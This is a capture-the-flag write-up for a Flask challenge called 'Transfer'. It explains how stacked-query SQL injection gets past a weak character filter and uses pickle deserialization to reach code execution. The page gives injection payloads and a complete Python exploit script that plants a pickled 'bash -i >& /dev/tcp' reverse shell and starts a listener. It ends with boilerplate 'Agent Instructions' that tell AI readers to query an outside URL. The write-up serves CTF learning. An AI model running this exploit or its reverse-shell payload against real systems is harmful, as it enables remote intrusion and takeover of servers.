# Transfer

<figure><img src="/files/1yL1uPapkrbaWN2YQfvG" alt="" width="188"><figcaption></figcaption></figure>

{% hint style="info" %}
`Pickle, SQLite3, SQL Injection, Flask`&#x20;
{% endhint %}

{% file src="/files/ga5LVvvVSXR4GEavxV0E" %}

## Description

```
Author: @JohnHammond#6971

Inspired by current events! :D
Escalate your privileges and find the flag.
```

## Analysis

#### Structure

```
app.py
requirements.txt
├ templates/
├── files.html
├── login.html
                                                         
```

#### SQL Injection

<pre class="language-python" data-title="app.py" data-line-numbers data-full-width="false"><code class="lang-python"><strong>@app.route('/login', methods=['POST'])
</strong>def login_user():
    username = DBClean(request.form['username'])
    password = DBClean(request.form['password'])
    
    conn = get_db()
    c = conn.cursor()

    sql = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    c.executescript(sql)

    user = c.fetchone()
    if user:
        c.execute(f"SELECT sessionid FROM activesessions WHERE username=?", (username,))
        active_session = c.fetchone()
        if active_session:
            session_id = active_session[0]
        else:
            c.execute(f"SELECT username FROM users WHERE username=?", (username,))
            user_name = c.fetchone()
            if user_name:
                session_id = str(uuid.uuid4())
                c.executescript(f"INSERT INTO activesessions (sessionid, timestamp) VALUES ('{session_id}', '{datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')}')")
            else:
                flash("A session could be not be created")
                return logout()
        
        session['username'] = username
        session['session_id'] = session_id
        conn.commit()
        return redirect(url_for('files'))
    else:
        flash('Username or password is incorrect')
        return redirect(url_for('home'))

</code></pre>

1\. Vulnerability arises from the use of string concatenation to construct the SQL query in the `login_user()` function. l<mark style="color:blue;">ine 9</mark>

2\. `executescript`() and `execute()` methods are both used in Python's sqlite3 to execute SQL statements against an SQLite database. l<mark style="color:blue;">ine 10</mark>

**`executescript():`**

* Used to execute multiple SQL statements or a complete SQL script at once.
* It allows the execution of multiple SQL statements separated by semicolons (`;`) or newlines (`\n`) in a single call.
* The `executescript()` method can handle DDL (Data Definition Language) statements like `CREATE TABLE` or `ALTER TABLE`, as well as DML (Data Manipulation Language) statements like `INSERT`, `UPDATE`, or `DELETE`.
* It returns no result set.

**`execute()`:**

* Used to execute a single SQL statement.
* It is suitable for executing individual SQL statements or parameterized queries.
* The SQL statement can be a DDL or DML statement, depending on the desired operation.
* It can return result sets for queries, allowing you to fetch the retrieved data using methods like `fetchone()`, `fetchall()`, or `fetchmany()`.

Main difference:

**executescript**() allow multiple SQL statements in one input string

\
The <mark style="color:blue;">`DBClean`</mark> function do wrong filter by removing <mark style="color:red;">`'`</mark> , <mark style="color:red;">`"`</mark> and <mark style="color:red;">`Space`</mark> .\
then replacing backslashes to <mark style="color:red;">`'`</mark> .

```python
def DBClean(string):
    for bad_char in " '\"":
        string = string.replace(bad_char,"")
    return string.replace("\\", "'")
    
```

We can bypass them like this:

```agda
'     -> \\
Space -> /**/
```

After setup local webserver to debug app, flask app will create database on tmp:

```python
DATABASE = '/tmp/database.db'
```

Table creation statements define the structure for <mark style="color:orange;">users</mark>, <mark style="color:orange;">active sessions</mark>, and <mark style="color:orange;">files</mark> in the database:

<pre class="language-python" data-title="app.py line 165-167" data-overflow="wrap" data-full-width="false"><code class="lang-python"><strong>c.execute("CREATE TABLE IF NOT EXISTS users (username text, password text)")
</strong> 
c.execute("CREATE TABLE IF NOT EXISTS activesessions (sessionid text, username text, timestamp text)")

c.execute("CREATE TABLE IF NOT EXISTS files (filename text PRIMARY KEY, data blob, sessionid text)")

</code></pre>

To verify the success of our initial injection payload, we can target the `/login` endpoint with <mark style="color:blue;">`username`</mark> POST parameter.

**%0a is URL-encoding of a newline**

{% code title="1. Inject user" overflow="wrap" %}

```python
admin\\;%0aINSERT/**/INTO/**/users/**/(username,password)/**/VALUES/**/(\\admin\\,\\123456789\\);--
```

{% endcode %}

<figure><img src="/files/n6kf5WkIBTN1azCHHHjk" alt=""><figcaption></figcaption></figure>

## Pickle

{% hint style="info" %}
Used to deserialize a serialized object back into a python object, untrusted pickle data can execute arbitrary code, leading to security vulnerabilities.
{% endhint %}

## Code execution

{% code overflow="wrap" fullWidth="false" %}

```python
@app.route('/download/<filename>/<sessionid>', methods=['GET'])
def download_file(filename, sessionid):
    conn = get_db()
    c = conn.cursor()
(*) c.execute(f"SELECT * FROM activesessions WHERE sessionid=?", (sessionid,))
    
    active_session = c.fetchone()
    if active_session is None:
        flash('No active session found')
        return redirect(url_for('home'))
(*) c.execute(f"SELECT data FROM files WHERE filename=?",(filename,))
    
    file_data = c.fetchone()
    if file_data is None:
        flash('File not found')
        return redirect(url_for('files'))

    file_blob = pickle.loads(base64.b64decode(file_data[0]))
    return send_file(io.BytesIO(file_blob), download_name=filename, as_attachment=True)

```

{% endcode %}

We need to create two payloads using our SQL injection:clap:&#x20;

{% code title="2. Inject Session ID" overflow="wrap" %}

```python
admin\\;%0aINSERT/**/INTO/**/activesessions/**/(sessionid,username,/**/timestamp)/**/VALUES/**/(\\admin\\,\\admin\\,\\2023-06-16/**/20:06:55.531553\\);--
```

{% endcode %}

{% code title="3. Inject Data." overflow="wrap" %}

```python
admin\\;%0aINSERT/**/INTO/**/files/**/(filename,data,/**/sessionid)/**/VALUES/**/(\\FileName\\,\\PickleBase64Payload\\,\\admin\\);--
```

{% endcode %}

Our controlled file\_data\[0] (base64 pickle payload) will be loaded by`pickle.loads()`.\
\
After injecting data into the tables, the last step consists of sending a GET request to the `/download/<filename>/<sessionid>` endpoint, resulting code execution. :clap:

## Exploit

<figure><img src="/files/aQT9pNpOBz60uPcj8mjy" alt=""><figcaption></figcaption></figure>

```python
import pickle, requests ,sys, random, base64, os
import threading, telnetlib, socket


URL, LHOST = sys.argv[1], sys.argv[2].replace(':', '/')

print(f"(+) Target URL: {URL}")
print(f"(+) LHOST: {LHOST}")

ngrok = input("\nDo you use ngrok? | y, n: ")

if ngrok == 'y':
    ngrokPort = input("Which port you specify on ngrok? | ex: 443 : ")
    listnerPort = ngrokPort
else:
    listnerPort = LHOST.rsplit('/', 1)[-1]

def doPickle(payload):
    class PickleRce(object):
        def __reduce__(self):
            return (os.system, (payload,))
    
    return base64.b64encode(pickle.dumps(PickleRce()))

def triggerPayload(filename):
    print("(+) Trigger payload")
    
    headers = {
        'Host': URL,
        'Content-Type': 'application/x-www-form-urlencoded',
    }

    endpoint = f"{URL}/download/{filename}/38"
    print(f"(+) Endpoint: {endpoint}")

    return requests.get(endpoint, headers=headers, verify=False, allow_redirects=False).text

def sendRequest(description, data):
    print(f"(+) {description}")

    headers = {
        'Host': URL,
        'Content-Type': 'application/x-www-form-urlencoded',
    }
    data = f'username={data}&password=1'

    return requests.post(f"{URL}/login", headers=headers, data=data, verify=False, allow_redirects=False).text

def handler(port):

    print(f"(+) Starting handler on port {port}")
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", int(port)))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) Got Connection from {addr[0]}")
    t.sock = conn
    print("(+) Silv3r")
    t.interact()

handlerThread = threading.Thread(target=handler, args=(listnerPort,))
handlerThread.start()

payload = "admin\\;%0aINSERT/**/INTO/**/users/**/(username,password)/**/VALUES/**/(\\38\\,\\123456789\\);--"
sendRequest("Create user", payload)

payload = "admin\\;%0aINSERT/**/INTO/**/activesessions/**/(sessionid,username,/**/timestamp)/**/VALUES/**/(\\38\\,\\38\\,\\2023-06-16/**/20:06:55.531553\\);--"
sendRequest("Create session", payload)

randNum = random.randint(10000, 99999)
encodedCommand = base64.b64encode(f'bash -i >& /dev/tcp/{LHOST} 0>&1'.encode('utf-8')).decode('utf-8')
Command = f'echo "{encodedCommand}" | base64 -d | bash '
picklePayload = doPickle(Command).decode('utf-8')
payload = "admin\\;%0aINSERT/**/INTO/**/files/**/(filename,data,/**/sessionid)/**/VALUES/**/(\\REPLACEFILENAME\\,\\REPLACEMEPICKLE\\,\\38\\);--".replace("REPLACEFILENAME", str(randNum)).replace("REPLACEMEPICKLE", picklePayload)
sendRequest("Create file", payload)

triggerPayload(randNum)
```

<figure><img src="/files/wXHoYynrxrBBHpcGpQpZ" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://silver-4.gitbook.io/about/this-week/capture-the-flag/transfer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
